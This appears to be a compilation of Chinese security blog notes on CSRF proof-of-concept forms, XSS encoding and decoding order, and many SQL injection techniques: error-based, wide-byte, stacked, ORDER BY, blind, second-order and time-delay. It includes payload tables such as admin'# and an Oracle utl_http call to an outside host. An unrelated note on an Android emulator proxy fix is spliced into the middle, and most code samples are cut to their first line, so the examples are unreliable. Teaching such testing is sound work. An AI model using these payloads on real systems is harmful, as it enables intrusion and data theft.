跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以CSRF攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时CSRF则可能威胁到整个Web系统的安全。
漏洞成因
错把“经过认证的浏览器发起的请求”当成“经过认证的用户发起的请求”,当已认证的用户点击攻击者构造的恶意链接后就“被”执行了相应的操作。
针对不同类型的数据提交的方式,在构造CSRF poc时会有对应的不同。下面将对不同的数据提交的方式,整理对应的poc
对于GET型的CSRF漏洞,我们可以使用任意的支持src属性的标签构造poc,如<img>
等。
1 | <img src=https://www.a.com/delete?id=123> |
这应该是最常见的 POST 提交数据的方式了。浏览器的原生<form>
表单,如果不设置 enctype
属性,那么最终就会以 application/x-www-form-urlencoded 方式提交数据。请求类似于下面这样(无关的请求头在本文中都省略掉了)
1 | POST http://www.example.com |
首先,Content-Type 被指定为 application/x-www-form-urlencoded;
其次,提交的数据按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL 转码
很多时候,我们用 Ajax 提交数据时,也是使用这种方式。例如 JQuery 和 QWrap 的 Ajax,Content-Type 默认值都是「application/x-www-form-urlencoded;charset=utf-8」。
那么,对应的poc为:
1 | <html> |
这又是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须让 <form>
表单的 enctype
等于 multipart/form-data。直接来看一个请求示例:
1 | POST http://www.example.com |
首先生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。
然后 Content-Type 里指明了数据是以 multipart/form-data 来编码,本次请求的 boundary 是什么内容。
消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以
--boundary
开始,紧接着是内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。如果传输的是文件,还要包含文件名和文件类型信息。消息主体最后以--boundary--
标示结束。
Part 头信息中必须包含一个 Content-Disposition
头,其他的头信息则为可选项, 比如 Content-Type
等。
Content-Disposition
包含了 type 和 一个名字为 name 的 parameter,type 是 form-data,name 参数的值则为表单控件(也即 field)的名字,如果是文件,那么还有一个 filename 参数,值就是文件名。
对于可选的 Content-Type(如果没有的话),默认就是 text/plain
。
对应的csrf poc为
1 | <html> |
对于提交数据是JSON数据的,有以下几种利用方式。具体测试时可以都试试
1 | Content-Type: application/json |
1 | <html> |
不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。
这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。
补全等号
1 | <html> |
需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的。如果服务端验证了Content-Type。则也可能失败
1 |
|
这种利用方式,需要满足XHR的要求
如果一个敏感操作的参数里面,有一个csrf token,我们可以做如下尝试绕过
1 | <iframe src=http://www.a.com/delete.php?id=1> |
1 | <html> |
俗话说:「万丈高楼平地起」「不积跬步无以至千里」。
学习任何专业,基础知识非常的重要。基础知识是否扎实,决定了你能走多远。
目前网络上关于XSS的知识、介绍非常的多,成系统、系列的介绍却不多。本文争取集各家之所长,由浅及深的介绍XSS的相关知识。本文是XSS系列第一篇,先来介绍XSS相关的基础知识。因小弟才疏学浅,不足之处还望各位大佬多多指教。
本文参考了很多大佬的分享原作,在此表示感谢。我只是一个知识的搬运工。
提到XSS,便不得不讲浏览器编码。浏览器编码虽不复杂,却也有许多细节之处常常被人忽略,而对于细节的掌握和理解是否到位,决定了有时候能否成功的编写一个XSS poc。
下面简单介绍下各类的编码类型。
浏览器在解析HTML时,是按照一定的格式和编码来解析的,为了不扰乱HTML结构,有HTML编码(比如:<对应<
);为了不扰乱JS的语法,有JS编码(比如:'对应\'
),为了正常解析URL,有URL编码(比如:&对应%26)。总结起来也就三类,但是有不同的编码形式。
在呈现HTML页面时,针对某些特殊字符如<
或>
直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在HTML页面呈现特殊字符就需要用到其对应的字符实体。
HTML编码形式最常见的有三种:别名形式、16进制形式、10进制形式,比如:<>"'
采用这三种方式编码后分别如下:
<>"'
<>"'
<>"'
HTML编码的这几种方式可以混合出现,浏览器都可以正常解析。
上述三种形式的分号均可以省略。
JS编码形式最常见的有四种:斜杠转义形式、16进制形式、Unicode编码形式。<>"'
采用这几种方式编码后分别如下:
斜杠转义形式:\<\>\"\'
16进制形式:\x3c\x3e\x22\x27
Unicode编码形式:\u003c\u003e\u0022\u0027
注意:
\u000003c
。但是笔者在用最新版的Chrome浏览器中测试的时候,只有四个字符可以被正确的识别。各种缘由,暂不清楚。URL编码估计大家都非常熟悉,编码都采用%XX的形式,比如同样的<>"'
经URL编码后得到%3C%3E%22%27。
需要注意的是,URL编码可以细分为encodeURI,encodeURIComponent两种编码形式,下面将简单说明一下两周编码形式的区别。
encodeURI
encodeURI 是用来处理整个 URI 的,它应该接受 URI 的 protocol, host, port以及URL中的功能字符&?/=
等部分,只对 path 和 query 进行编码。
如果 POST 请求的 Request Header 中 Content-Type 为「application/x-www-form-urlencoded」, 那么 Request Payload 里面的数据一般就是使用 encodeURI(Component) 编码的。
encodeURIComponent
encodeURIComponent 对所有的字符均编码。
举例
1 | encodeURI('https://www.baidu.com/ a b c') |
其实除了以上两种URL编码外,还有escape编码,但因为escape已经从 Web 标准中删除,所以此处不做介绍。
HTML页面中我们可以按照指定的编码格式去编码,但是,必须要在合适的位置用合适的编码,以及符合浏览器的解码规则和顺序,否则浏览器也无法识别。
HTML编码适用于属性值、标签内的内容,看如下示例:
浏览器解析后如下图:
可以看到:
但是,在<script>
标签内的js内容以及<style>
中的css内容,浏览器是不会使用html编码解码的:
JS编码则只适用于JS代码中,包括<script>
内和JS事件中:
对于JavaScript,转义编码应当只出现在标示符部分,不能用于对语法有真正影响的符号,也就是括号,或者是引号。所以,对('')
等进行js编码是失败的。
示例代码:
1 | <script> |
可以对dafaf施行16进制编码Unicode编码形式以及斜杠转义形式
只可以对alert施行Unicode编码
不能对('')
编码
我们来分析一下JavaScript解析的一个细节,Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本或者上面讲的标识符名称,例如:<script>alert('LDkR\u0027)</script>
对控制字符单引号进行js编码,解析时\u0027被解码成文本单引号,无法闭合因此不能成功执行。
URL编码则只适用于为URL的属性值,且只能对URL中的参数进行URL编码。比如:<a>
标签的href属性、<iframe>
的src属性等。
既然各个编码有适合自己的位置,并且这种位置必定会重合,所以,浏览器解码必定有一定的顺序。
首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来JavaScript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。
浏览器无论什么情况都会遵守一个这样的解码规则:
1、 HTML 解析器对 HTML 文档进行解析,完成 HTML 解码并且创建 DOM 树
2、 JavaScript 或者 CSS 解析器对内联脚本进行解析,完成 JS、CSS 解码
3、 URL 解码会根据 URL 所在的顺序不同而在 JS 解码前或者解码后
下面,讲距离几个具体的例子,对解码顺序做一些说明,以方便理解和记忆。
1 | <html> |
一个正常的容易理解的过程是这一行:
1 | <img src=# onerror="alert(1)" /> |
HTML 解析到标签,建立DOM 树,然后对节点内容进行实体解码,a; 就变成a, 随后在js 解析阶段,正常的触发了弹窗,先后顺序OK。
但对于下面这段代码:
1 | <script> |
使用了DOM 操作,修改前边标签中的内容,添加了一个img 内容,因为进入了script 进入了JavaScript的特殊解析模式,所以此处HTML 不得干扰,首先JavaScript解析器,会先对其中编码的内容解码,于是onerror 就还原回来了,于是正常的执行了JS 语句,在HTML 文档中,将hello 变成了img。img标签内容变成了:
<img src=# onerror=alert(1)>
该标签传回给HTML,HTML 建立DOM节点,HTML解码节点内容:<img src=x onerror=alert(1)>
onerror 又会执行其中的JS 脚本,弹出窗口。
其实,这里也不难理解,因为HTML 是从上到下解析,遇到< script> 于是进入了特殊的解析模式,使用JS 解析器,做了一个DOM 操作,该DOM 操作修改了前边的DOM 树,该块内容,需要使用HTML 解析重塑DOM 树,那么节点内容中的实体编码就会被解码,然后onerror 中触发脚本,JS 又会对内容进行一次解析。
总结说来,实际上,DOM 操作实际上是js强势介入 HTML 和CSS 的结果,使用DOM 操作,对DOM Tree 造成了改变,会调用到HTML 解析器重新对其解析,于是流程又会返回到最开始说的那个解析流程里去。
1 | <a href="javascript:alert(1)">test</a> |
针对上述a标签我们分析一下该环境中浏览器的解析顺序,首先HTML解析器开始工作,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情况下URL值为一个正常的URL链接,如:“https://www.baidu.com“,那么URL解析器工作完成后是不需要其他解码的,但是该环境中URL资源类型为JavaScript,因此该环境中最后一步JavaScript解析器还会进行解码操作,最后解析的脚本被执行。
整个解析顺序为3个环节:HTML解码 –> URL解码 –> JS解码
变形1:URL编码 javascript:alert(1)
1 | URL编码“javascript:alert(1)”=“%6A%61%76%61%73%63%72%69%70%74:%61%6C%65%72%74%28%31%29” |
需要注意的是,该脚本并不会被正常的执行。这里就有一个URL解析过程中的一个细节了,不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,就导致被编码的“javascript”没有解码,所以不会被URL解析器识别。
变形2:
1 | HTML编码"javascript"="javascript" |
HTML解析器工作时,href里的HTML实体会被解码。变成<a href="javascript:%61%6C%65%72%74%28%32%29"
接下来URL解析器工作解析href属性里的链接时,”javascript”协议在第一步被HTML解码了,这样URL解析器是可以识别的,然后继续解析后面的”%61%6C%65%72%74%28%32%29”,变成<a href="javascript:a lert(1)">
最后JavaScript解析器完成解析操作,脚本执行。
变形3:
1 | 对<a href="javascript:alert(3)">test3</a>做JS编码>URL编码>HTML编码共3层。 |
按照上面的逻辑分析,是可以被正常解析之行的。
1 | <a href=# onclick="window.open('UserInput')"></a> |
解析顺序为:HTML 解析->JavaScript解析->URL 解析。
1 | <a href="javascript:window.open('UserInput')"> |
解析顺序为:HTML 解析->URL解析->JavaScript 解析->URL 解析。
1 | <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a> |
首先 HTML 解析器进行解析,解析到href 属性的值时,状态机进入属性值状态(Attribute Value State),该状态会解码字符实体;
接着由 URL 解析器进行解析并解码;
再接着由于 Scheme 为javascript,因此由 JavaScript 解析器解析并解码,加上编码部分是函 数名,属于标识符,因此可以正常解码解释;
在使用MUMU模拟器的时候,经常重启模拟器卡在99%的位置起不来,按照官方指引排错之后依然无法解决问题。后来联系MUMU的同事,经过确认,如果模拟器设置了系统代理没有关闭,重启后就会卡在99%。
但是,卡在99%的时候,是可以通过adb进入系统的。此时,可以通过adb修改手机的代理设置,然后重启就OK了。
方法一
网上百度到的方法大都是这样的:
1 | #设置代理: |
但是,这个方法对对MUMU不起作用,都是提示没有删除。
方法二
经过研究,发现了方法二,确认有效。
通过adb进入shell
确认是root权限
编辑/data/misc/wifi/ipconfig.txt
删除掉代理相关的配置
删除之后,ipconfig.txt文件中的内容是这样的
1 | ^@^@^@^B^@^LipAssignment^@^DDHCP^@^MproxySettings^@^FSTATIC^@ ^@^MexclusionList^@^@^@^Bid�D�^@^Ceos |
reboot
1 | SELECT |
AND 的优先级比 OR 的优先级要高。先计算AND的结果,再计算or的结果
同优先级AND中如果有恒为0(如and 1=2),则直接返回0,不执行同级中后面的语句
多个OR连接的语句中如果有恒为1(如or 1=1),则直接返回1,不执行同级中后面的语句
1 | '(单引号):代码与数据间的分界线。 |
-- | 用于单行注释 | SQL server Oracle PostgreSQl |
---|---|---|
/* */ | 用于多行注释 | SQL server Oracle PostgreSQl |
– | 用于单行注释。 要求第二个连字符后面跟一个空格或控制字符(如制表符、换行符) | MySQL |
# | 用于单行注释 | MySQL |
/* */ | 用于多行注释 | MySQL |
Oracle & PostgreSQL | ‘bi’||’kes’ | |
---|---|---|
Microsoft SQL Server | 'bi'+'kes' | +为 URL 保留字符,记得转义%2B |
MySQL | 'bi''kes' |
堆叠查询即在单个数据库连接中执行多个查询序列。对于使用MSSQL 数据库的应用,格外有效。但不是对所有的平台都支持堆叠查询。
可以用;
执行多条语句。服务器将依次执行每条语句,数据库服务器向客户端返回每条语句发送的结果集。
如:http://www.a.com/a.aspx?user=54;select *****;--
支持堆叠查询的语言/数据库
MSSQL | MySQL | PostgreSQL | Oracle | Access | |
---|---|---|---|---|---|
ASP | 支持 | 不支持 | |||
ASP.NET | 支持 | 不支持 | |||
PHP | 支持 | 不支持 | 支持 | 不支持 | |
Java | 不支持 | PL/SQL | 不支持 |
Oracle 数据库是不允许执行堆叠查询的,但可以使用 PL/SQL
来执行堆叠查询.
默认情况下,在安装 Oracle 时安装了一些默认的包,其中两个允许执行PL/SQL
匿名块的函数是:
1 | dbms_xmlquery.newcontext() |
数据库服务器 | 查询 |
---|---|
MSSQL | SELECT CAST(‘123’ AS varchar) |
MySQL | SELECT CAST(‘123’ AS char) |
Oracle | SELECT CAST(123 AS varchar) FROM dual |
PostgreSQL | SELECT CAST(123 AS text) 可以使用||链接字符串链接,只要有一个变量的值为字符串即可 |
Oracle
1 | select utl_http.request('http://10.0.0.1') from dual; |
CONCAT 函数用于将两个字符串连接为一个字符串
1 | SQL> SELECT CONCAT('FIRST ', 'SECOND'); |
IFNULL
1 | SELECT IFNULL(value1,value2); |
CAST 函数用于将某种数据类型的表达式显式转换为另一种数据类型。
1 | CAST (expression AS data_type) |
CONV(x,f1,f2) 把数字x从f1进制转为f2进制。
substring 函数是用来抓出一个栏位资料中的其中一部分。这个函数的名称在不同的资料库中不完全一样:
1 | MySQL: SUBSTR( ), SUBSTRING( ) |
Length()函数 返回字符串的长度
substr()截取字符串,偏移是从1开始,而不是0开始
ascii()返回字符的ascii码
count(column_name)函数返回指定列的值的数目(NULL 不计入)
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
count(column_name)函数返回指定列的值的数目(NULL 不计入)concat
INFORMATION_SCHEMA
虚拟数据库中,可通过SHOW DATABASES
和SHOW TABLES
命令访问。1 | -- 列举当前用户可访问的所有的表和数据库 |
INFORMATION_SCHEMA
或系统表SYSOBJECTS,SYSINDEXKEYS,SYSINDEXES,SYSCOLUMNS,SYSTYPES等
或系统存储过程来访问元数据。sys.
的目录试图,并限制用户只能访问拥有相对应权限的对象。所有的用户均有权访问数据库中的表并查看表中的所有行,而不管用户是否对表或所查阅的数据拥有相对应的访问权限。1 | --使用目录视图列举所有可访问的表 |
有很多全局内置视图来访问 Oracle 的元数据
ALL_TABLES, ALL_TAB_COLUMNS `列出了当前用户可访问的属性和对象。
USER_
开头的视图只显示当前用户拥有的对象
DBA_
开头的视图显示数据库中的所有对象。需要有 DBA 权限
1 | --列举当前用户可访问的所有的表 |
数据库服务器 | 查询语句 |
---|---|
MSSQL | SELECT@@version |
MySQL | SELECT version() SELECT@@version() |
Oracle | SELECT banner FROM v$version; SELECT banner FROM v$version WHERE rownum=1 |
PostgreSQL | SELECT version() |
1 | @@version-- 数据库服务器版本 |
涉及函数
updatexml():对xml进行查询和修改
extractvalue():对xml进行查询和修改
报错语句构造
1 | select extractvalue(1,concat(0x7e,user(),0x7e)); |
原理分析
extractvalue(xml_str , Xpath) 函数,按照Xpath语法从XML格式的字符串中提取一个值,如果函数中任意一个参数为NULL,返回值都是NULL。
其实就是对XML文档进行查询的函数,相当于HTML文件中用 ``等标签查找元素一样,第一个参数传入目标xml文档,第二个参数使用Xpath路径法表示的查找路径
举个简单例子:
1 | select extractvalue('<a><b>abbb</b><c>accc</c>aaaa</a>','/a/c'); |
寻找前一段xml文档内容中的a节点下的c节点
1 | +----------------------------------------------------------+ |
正常情况下的使用便是这样,但如果我们构造了不合法的Xpath ,MySQL便会出现语法错误,从而显示出XPath的内容。
发现报错时少了一部分,没有前面的root,产生这样的问题是因为Xpath语法只有遇到特殊字符时才会报错
那我们直接在需要连接的字符前添加特殊字符即可爆出我们想要的结果
但是也要注意,报错的长度是有一定限制的,不要构造过长的payload,否则后面的字符串会被截断updatexml()
函数 与extractvalue()
类似 ,是更新xml文档的函数
updatexml()
函数有三个参数,分别是(XML_document, XPath_string, new_value)
1 | 第一个参数:XML_document是String格式,为XML文档对象的名称 |
原理相同,都是遇到特殊字符爆出错误
涉及函数
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string()
— 转义一个字符串
原理分析
先了解一下什么是窄、宽字节已经常见宽字节编码:
1 | 一、当某字符的大小为一个字节时,称其字符为窄字节. |
为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入
问题就出现在使用PHP连接MySQL的时候,当设置
1 | “set character_set_client = gbk” |
时会导致一个编码转换的问题
如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。
SQL 盲注是一种SQL 注入漏洞,攻击者可以操纵 SQL 语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。
涉及字符
分号(;)
,在SQL语句中用来表示一条sql语句的结束
原理分析
堆叠注入可以执行任意的语句 ,多条sql 语句一起执行。在MYSQL命令框中,常以;
作为结束符,那我们便可以在一句SQL语句结束后再紧跟一句SQL语句 。
例如:
1 | mysql> show databases;use web1;select 1,2,3; |
但堆叠注入是有局限性的,并不是每个环境都可以用到的:
1 | 一、可能受到API或者数据库引擎不支持的限制 |
所以一般这种方法的注入只会出现在CTF题中,但正因为这种方法感觉简单,很多人都会忽略掉,强网杯的web题随便注便用到了这种方法,当时真的懵的一批。
涉及函数
if()函数
updatexml()函数
extractvalue()函数
regexp()函数
rand()函数
原理分析
当用户提供的数据通过MySQL的“Order By”
语句中的值进行传递时,如果可控制的位置在order by子句后,如order参数可控:select * from xxxxx order by $_GET['order']
可能就会引发order by注入
利用大师傅的环境简单复现一下,源码分析:
1 | <?php |
if(语句1、语句2、语句3)
如果语句1为真,则执行语句2,否则则执行语句3
1 | /?order=IF(1=1,name,price) 通过name字段排序 |
1 | --简单Case函数 |
两种方式,可以实现相同的功能。简单Case
函数的写法相对比较简洁,但是和Case
搜索函数相比,功能方面会有些限制,比如写下面的判断式
1 | /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序 |
如果想利用构造的语句的话,直接将后面的选项更改成自己构造的语句即可IFNULL()
函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值,所以也可以通过IFNULL来排序,甚至构造恶意语句
1 | /?order=IFNULL(NULL,price) 通过price字段排序 |
返回多条记录
1 | /?order=IF(1=1,1,(select+1+union+select+2)) 正确 |
1 | /?order=(select+1+regexp+if(1=1,1,0x00)) 正常 |
利用if语句,也可以在参数order后构造时间盲注,同样也是这里虽然是简单的排序,但如果将语句更改为猜解数据库的语句也是可以的
如:
1 | /?order=if(条件1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间 |
利用order by注入不可能直接爆出数据,只能通过猜解来获得数据,猜解数据时只能一位一位的猜,所以可以利用substr
截取函数以及left
、right
函数将每个字符分割出来,进行猜解,如果遇到Order by注入,最好用脚本,手注得累死
Order by注入就是通过这些函数,开发者本意是希望方便用户进行排序观察等,但如果不对其做出任何限制,就会被恶意利用,利用函数的功能去执行一些SQL注入语句,从而泄露信息。
涉及符号
MySQL中,异或用^
或xor
表示
原理分析
异或注入原理较为简单一些,运算法则就是:两个条件相同(同真或同假)即为假(0)
,两个条件不同即为真(1)
,null
与任何条件做异或运算都为null
简单在mysql命令行演示一下:
用异或方法可以判断一些字符是否被过滤,如:
CTF题中如果想判断那些函数被过滤,便可以通过异或查询
1 | 符号^(str)^符号 -符号具体要结合题,str是由我们定义的命令 |
此方法适用于MySQL 5.x中,在limit语句后面的注入
在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。
1 | # 报错注入 |
看到涉及到的函数是不是感觉很熟悉,这是因为大多数网站都会对用户输入的语句进行对特殊符号的过滤,例如:恶意用户构造的插入语句为1'
,经过这些函数的处理则变为1\'
,这样便可以防止用户向服务器插入数据时引发的一些恶意操作,但这只是中途过滤了一下,最终返回到数据库里面的数据还是1'
,如果管理者对取出的数据没有进行进一步的检验处理,服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询,就会发生了SQL二次注入。
注意:二次注入不是注入两次的意思,二次注入相当于存储型的注入,可以看下面的图,介绍的也很直观。
总结起来 二次注入其实是分为两个步骤:
插入恶意数据
引用恶意数据
原理既是如此,但不实战是无法掌握的,下面就来实战练习二次注入。
题目实战
SQL-labs24关便涉及到二次注入
先来看一下登陆时的源码
过滤函数将特殊符号给过滤掉了,所以直接注入是没戏的
再来查看一下用户注册的源码
同样过滤特殊字符,从注册进行注入也是不可能了
最后看一下修改密码的源码
同样如此,那就只能利用二次注入,先将恶意语句注入进数据库中,再调用
我们先注册一个用户admin'#
,密码设置为123
,注册好之后查看一下数据库
注册成功,这时其实我们就可以修改管理员admin
,为什么那,来看下修改密码的sql语句
我们用户名为admin'#
,调用该用户时,SQL语句则变为了
我们将admin
密码更改为123456,测试一下
更改成功,这便是二次注入的简单利用
并不存在真正完美的规则可以确定某个输入是否会触发 SQL 注入漏洞,因为存在无数种可能的情况。测试潜在的 SQL 注入时,必须坚持不懈并留心细节信息,这一点非常重要。
在心里重建开发人员在 web 应用中编写的代码以及设想远程 SQL 代码的内容以及潜在效果。这一点非常重要。
我们通常用注入一个'
的方式,来通过返回的数据库报错信息来判断是否有 SQL 注入。
如果一个参数本应接收为一个数字,而输入了一个字符串。则 MySQL、SQL Server 会认为,如果该值不是一个数字,那么他肯定是个列名。
当Web服务器收到数据库返回的错误信息时,一般会选择如下几种方式进行返回。
1 | PHP+MySQL |
1 | Error: You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near ''' at line 1 |
1 | Error: Unknow columns 'test' in 'where clause' |
1 | Java & Oracle |
1 | .NET & Oracle |
1 | php & Oracle |
1 | java.sql.SQLException: ORA-00907: missing right parenthesis atoracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:134) at oracle.jdbc.ttc7.TTloer.processError(TTloer.java:289) at oracle.jdbc.ttc7.receive(Oall7.java:582) at oracle.jdbc.ttc7.TTC7Protocol.doOall7(TTC7Protocol.java:986) |
1 | 单引号报错 |
注意识别错误代码中的函数名、错误代码等信息,并善用Google。
由于Web 应用收到数据库错误时,会做不同的处理。下面将介绍一些不直接在浏览器中显示数据库报错的示例。需要注意的是,操纵参数产生的错误,可能与SQL 注入无关。
Web 应用可能对于所有的错误,均返回一个通用的错误页面。如下图为 ASP.NET的错误页面。具体的行为取决于 web 服务器的配置。
如果测试web 站点时发现应用始终返回默认或自定义的错误页面,就需要弄清楚该错误是不是由 SQL 注入引发的。可以通过向参数中插入不会触发应用错误的 SQL 代码来进行测试
举例,当我们插入单引号引发统一报错时,服务端的 SQL 查询语句为
1 | SELECT * |
在这个例子中,我们可以猜测,我们尝试注入的是一个用单引号控制的字符串。此时尝试注入一些不会产生错误的内容。
永真语句: ’ or '1'='1
1 | SELECT * |
注入永真条件有一个缺点:查询结果会包含表中的所有记录。如果数据量过大,则会查询的时间很长,且会消耗过多的服务器资源。
无影响语句:' or '1'='2
' and '1'='1
该方法不会对查询结果产生任何影响。
永假语句' and '1'='2
该语句不会返回任何结果。
通过对不同影响的语句产生的结果不同为对照来确认是否存在 SQL注入
例外:有很多原因,即使注入了一个永假条件,也可能会返回结果。
比如如果 SQL 语句为一个联合查询,如果注入参数只影响了查询的一部分。
1 | SELECT * |
Oracle & PostgreSQL
1 | www.xxx.com/sn=bikes |
Microsoft SQL Server
1 | www.xxx.com/sn=bikes |
MySQL
1 | www.xxx.com/sn=bikes |
如果以上两个请求的结果相同,则很可能存在 SQL 注入漏洞
1 | http://www.a.com/a.php?id=3-1 |
当然,也可以通过加法执行该测试,不过。因为加号是 URI的保留字,需要进行编码。可以用%2B
来代替+
当测试是否存在 SQL 注入的时候,经常会因为各种原因无法直接确认注入的存在,可以通过对数据库注入时间延时,并检查服务器的响应是否也产生了延迟。
Web 服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果。
1 | -- 引入延迟的内置命令 |
BENCHMARK
函数会将一个表达式执行许多次1 | http://www.a.com/a.php?id=32;SELECT BENCHMARK(10000000,ENCODE('hello,'mom'));-- |
SLEEP
函数添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数.如果记录数是 0,则不停留
由于MySQL的条件优先级的不同,在不同语句中执行sleep()函数导致的延迟时间(执行次数)不同,一个比较简单的判断就是,判断sleep()函数所在的点,进行数据查询时需要对比的数据记录数,即等于sleep()函数执行的次数。
1 | BEGIN |
1 | http://www.a.com/a.php?id=32;SELECT pg_sleep(10);-- |
内联注入是指向查询注入一些 SQL 代码后,原来的查询仍然会全部执行。
字符串内联注入
测试字符串 | 变形 | 预期结果 |
---|---|---|
‘ | 触发错误。如果成功,数据库将返回一个错误 | |
1’ OR ‘1’=’1 | 1’)or(‘1’=’1 | 永真条件。如果成功,将返回表中的所有行 |
1’ or ‘1’=’2 | 1’)or(‘1’=’2 | 空条件。如果成功,将返回与原来的值相同的结果 |
1’ and ‘1’=’2 | 1’)and(‘1’=’2 | 永假条件。如果成功,将不返回表中的任何行 |
1’ or ‘ab’=’a’+’b | 1’)or(‘ab’=’a’+’b | SQL Server 字符串连接。永真条件。 |
1’ or ‘ab’=’a’’b | 1’)or(‘ab’=’a’’b | MySQL字符串连接。永真条件 |
1’ or ‘ab’=’a’||’b | 1’)or(‘ab’=’a’||’b | Oracle 字符串连接。永真条件 |
数字值内联注入
测试字符串 | 变形 | 预期结果 |
---|---|---|
‘ | 触发错误。如果成功,数据库将返回一个错误 | |
3-1 | 1+1 | 如果成功,将返回与操作结果相同的值 |
1 or 1=1 | 1)or(1=1 | 永真条件。如果成功将返回表中所有的行 |
1 or 1=2 | 1)or(1=2 | 空条件,如果成功,将返回与原来的值相同的结果 |
1 and 1=2 | 1)and(1=2 | 永假条件。如果成功,将不返回任何行 |
1 or ‘ab’=’a’+’b’ | 1)or(‘ab’=’a’+’b’ | SQL Server 字符串拼接。永真条件 |
1 OR ‘ab’=’a’’b’ | 1)or(‘ab’=’a’’b’ | Mysql 字符串拼接。永真条件 |
1 OR ‘ab’=’a’||’b’ | 1)or(‘ab’=’a’||’b’ | Oracle 字符串拼接。永真条件 |
测试字符串 | 变形 | 预期结果 |
---|---|---|
admin'-- | admin')-- | |
admin’# | admin')# | |
1-- | 1)-- | |
1 or 1=1-- | 1)or1=1-- | |
' or '1'='1'-- | ') or '1'='1'-- | |
-1 and 1=2-- | -1) and 1=2-- | |
'and'1'=2-- | ')and'1'=2-- | |
1/**/ |
当我们发送类似于0/@@version
作为注入代码时,除法运算需要两个数字作为操作数,所以数据库尝试将@@version
函数的结果转换成数字。当该操作失败时,数据库会显示出变量的内容。
举例:
1 | http://www.test.com/a.aspx?a=bikes' and 1=0/@@version;-- |
数据库服务器 | 查询 |
---|---|
MSSQL | SELECT ‘some’+’string’ |
MySQL | SELECT ‘some’ ‘string’ SELECT CONCAT(‘some’,’string’) |
Oracle | SELECT ‘some’||’string’ SELECT CONCAT(‘some’,’string’) |
PostgreSQL | SELECT ‘some’||’string’ SELECT CONCAT(‘some’,’string’) |
假如没有可用的易受攻击的字符串参数,则可以使用与数字参数类似的技术。执行一条特定技术的SQL语句,经过计算后他能成为一个数字。以下表格中的计算结果都是整数。
数据库服务器 | 查询 |
---|---|
MSSQL | @@pack_received @@rowcount |
MySQL | Connection_id() last_insert_id() row_count() |
Oracle | BITAND(1,1) |
PostgreSQL | SELECT EXTRACT(DOW FROM NOW()) |
[时间延时注入](#1. 时间延时注入)
/* */
是Mysql的注释字符。如果在注释的开头加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或等于注释中的版本编号,代码就会执行。举例:
1 | SELECT 1 /*!40119 + 1*/ |
这里将 HAVING 子句与 GROUP BY 子句结合使用。也可以在 SELECT 语句中使用 HAVING 子句过滤 GROUP BY返回的记录。GROUP BY 要求 SELECT 语句选择的字段是某个聚合函数的结果或者包含在 GROUP BY 子句中。如果该条件不满足,那么数据库会返回一个错误,显示出该问题的第一列。
1 | http://www.test.com/a.aspx?a=bikes' having '1'='1 |
UNION语法
1 | SELECT column-1,column-2,...,column-N FROM table-1 |
UNION的要求
